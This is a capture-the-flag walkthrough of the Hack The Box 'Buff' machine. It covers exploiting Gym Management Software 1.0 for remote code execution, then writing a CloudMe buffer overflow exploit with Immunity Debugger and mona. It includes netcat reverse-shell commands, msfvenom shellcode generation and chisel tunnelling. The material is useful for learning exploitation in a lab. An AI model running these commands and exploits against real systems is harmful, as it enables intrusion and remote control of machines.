Buff
Last updated
Was this helpful?
Last updated
Was this helpful?
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.198 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535.
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online.
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p7680,8080 10.10.10.198 -oN targeted
-sC
performs the scan using the default set of scripts.
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
It looks like there is a website on port 8080.
In the Contact section we can see that the website has been made with Gym Management Software 1.0.
If we check for common exploits for Gym Management we'll find an exploit which allows us to have Unauthenticated Remote Code Execution.
searchsploit gym management
Let's transfer the exploit to our local machine.
searchsploit -m php/webapps/48506.py
If we execute it with Python 2, we'll get a webshell.
python2 48506.py "http://10.10.10.198:8080/"
Let's get a proper shell. First, set a simple SMB server with impacket where the nc64.exe
binary is located.
impacket-smbserver smbFolder $(pwd) -smb2support
Then, set a netcat listener on port 4444 with rlwrap.
rlwrap nc -lvnp 4444
-l
listen mode.
-v
verbose mode.
-n
numeric-only IP, no DNS resolution.
-p
specify the port to listen on.
Finally, we'll run a command on the webshell which will grab the nc64.exe
binary from our SMB server, and send the netcat listener a reverse shell. Then, we'll be able to grab the user flag.
\\10.10.14.11\smbFolder\nc64.exe -e cmd 10.10.14.11 4444
In the downloads folder of the shaun
user, we'll see a binary called CloudMe_1122.exe
.
dir \users\shaun\downloads
If we check the tasklist, we'll see that the CloudMe.exe
program is running on the system.
tasklist
We can see on the internet that this program is listening on port 8888.
Indeed, if we check the open ports on the machine, we'll see that port 8888 is open locally.
netstat -nat
-n
show active TCP connections.
-a
show TCP and UDP listening ports.
-t
displays the download status of the current connection.
If we search for any common exploit on CloudMe 1.11.2 we'll find a few buffer overflow exploits.
searchsploit cloudme 1.11.2
Let's create a new account with random information.
Then, finish the configuration process and the software will be ready to exploit.
./chisel server --reverse -p 1234
--reverse
allow clients to specify reverse port forwarding.
-p
specify the server port.
On the Windows machine, execute chisel as a client, connect to the server on port 1234 and do a port forwarding of port 8888.
chisel.exe client 192.168.1.175:1234 R:8888:127.0.0.1:8888
Now, any connection made to port 8888 on our local machine will be sent to port 8888 if the Windows machine. Now, we'll have to set the Immunity Debugger software. First, run it as the administrator.
Then, go to File > Attach
, and attach the CloudMe
process.
As we can see at the bottom left part of the screen, the program is now paused.
Press the play button to start running the CloudMe program.
Now it should be running.
Now everything is ready to start making the exploit. Each time the program crashes, we'll have to repeat this hole process.
On our local machine, let's write the following python script, which will connect to the Windows machine via the 8888 port forwarding we have set with chisel, then it will send 5000 A
characters, which will make CloudMe to crash.
If we execute the script, we'll see in the Immunity Debugger software that CloudMe has crashed, and now it is paused. As we can see, all the registers are filled with 41
, which in hexadecimal are A
characters. We were able to overwrite the EIP registry, which means that CloudMe is vulnerable to buffer overflow attacks.
Now, we have to find at what byte exactly we are starting to overwrite the EIP registry. To do it, I will create a long sequence of bytes with msf-pattern_create
. As the program crashed with 5000 bytes, the sequence of bytes will also be 5000 long.
msf-pattern_create -l 5000
-l
length of the pattern.
Now, I will modify the script, so the long sequence of bytes is sent to the server.
If we run the exploit, we'll see that when the server crashes, the value of the EIP is 316A4230
.
Finally, knowing the value of the EIP, we can get the offset.
msf-pattern_offset -q 316A4230
-q
query to locate.
We could send 1052 A
characters, and then 4 B
characters. This way, if we see on Immunity Debugger that the value of the EIP is filled with 4 B
characters, that means we are overwriting the EIP registry properly.
If we run the script, we'll see that the value of the EIP is 42424242
, which are the 4 B
characters that we sent. So now we have control of the EIP registry.
There are certain characters that will break the program if we send those to the server. We will have to find those characters, so when we create the shellcode which will send us the reverse shell, we can omit those characters, and the server will not fail. So this time, after the 4 B
characters, we are going to send a bunch of different characters.
This time, we'll get a similar result, with the 42424242
value on the EIP, but now we are interested in the ESP registry. Let's right-click on the ESP value, and press on Follow in Dump
.
Now in the bottom right panel, we'll have to compare all the characters that we see, with the ones that we sent. In this case there are no bad characters, but in other cases, for example if the 12
, A3
and E6
characters are missing, we'll identify those as bad characters. In these case, we'll identify the 00
character as a bad character, because usually it makes some trouble.
We have to find a module that has no memory protections. We will do it with the mona tool, and we'll have to find a module with all the memory protections set to False
.
!mona modules
In this case I'll use the Qt5Core.dll
module.
We have to convert assembly language into hex code. If we run nasm_shell in our local machine, we'll see that the hex code equivalent of the JMP command is FFE4
.
msf-nasm_shell
Now that we know the right module and the hex code of the JMP command, let's find the right return address.
!mona find -s "\xff\xe4" -m Qt5Core.dll
We will use the first return address with the value 68A98A7B
. Let's go back to the CPU window.
Click on the following button to search for an address.
And search for the address 0x68A98A7B
. We should see the address we just searches along with the hex value FFE4
, and the JMP ESP
instruction. Now, select the address and press F2 to set a breakpoint on that address, so if we hit that address, the program will stop running.
This time, we'll run a script which will fill the EIP register with the return address we just found. So, when we run the script, EIP should have the 68A98A7B
value. Make sure to add the return address to the payload variable in the reverse.
If we run the script, we'll see that the program has stop at the breakpoint.
And the EIP has the 68A98A7B
value.
Let's generate a shellcode which will send us a reverse shell on port 5555. It will have a x86
architecture, we'll omit the \x00
bad character, the output will be in C
format.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.175 LPORT=5555 --platform windows -a x86 -b "\x00" -f c EXITFUNC=thread
-p
payload
LHOST
local IP address.
LPORT
listening port.
--platform
platform of the payload.
-a
architecture.
-b
exclude bad characters.
-f
output format.
EXITFUNC=thread
make the shell more stable.
Let's modify the script, so now after the EIP value we'll add some nops that serve as a padding, and then we'll add the shellcode.
Finally, let's set a netcat listener on port 5555 with rlwrap.
rlwrap nc -lvnp 5555
-l
listen mode.
-v
verbose mode.
-n
numeric-only IP, no DNS resolution.
-p
specify the port to listen on.
If we run the exploit, we should catch a shell on the netcat listener.
python overflow.py
We have exploited our own Windows machine with the CloudMe software running, but now is turn to exploit the Buff machine. Basically, we'll have to do the same process. Transfer chisel to the victim machine, by setting a simple HTTP server where the chisel binary is located.
python -m http.server 80
On the victim machine.
curl http://10.10.14.11/chisel_1.7.7_windows_amd64 -o chisel_1.7.7_windows_amd64
Then, make sure chisel is running as a server on our local machine, and run chisel on the victim machine doing port forwarding of the 8888 port.
chisel_1.7.7_windows_amd64 client 10.10.14.11:1234 R:8888:127.0.0.1:8888
Now, we'll have to generate new shellcode with the IP address of the HTB VPN.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.11 LPORT=5555 --platform windows -a x86 -b "\x00" -f c EXITFUNC=thread
-p
payload
LHOST
local IP address.
LPORT
listening port.
--platform
platform of the payload.
-a
architecture.
-b
exclude bad characters.
-f
output format.
EXITFUNC=thread
make the shell more stable.
Replace the new shellcode to the one that was before in the script.
Set another netcat listener on port 5555 with rlwrap.
rlwrap nc -lvnp 5555
-l
listen mode.
-v
verbose mode.
-n
numeric-only IP, no DNS resolution.
-p
specify the port to listen on.
Finally, if we execute the script, we'll get a shell as the user, and then all we have to do is reap the harvest and take the root flag.
python overflow.py
But this time we are going to make our own buffer overflow exploit. We will need a Windows machine available, with the Immunity Debugger software installed, and the mona.py
script downloaded and placed on the directory C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
. You can download the script from .
Next, we'll have to download and install CloudMe. You can download it from . Then run the installation wizard and press on the Next
button until the program is installed.
As port 8888 is only open locally, we'll need to download and decompress with 7z the chisel tool to do port forwarding of port 8888 so that we can access it from our local machine. You can download the Windows amd64 version from . On our local machine, let's set chisel as a server on port 1234.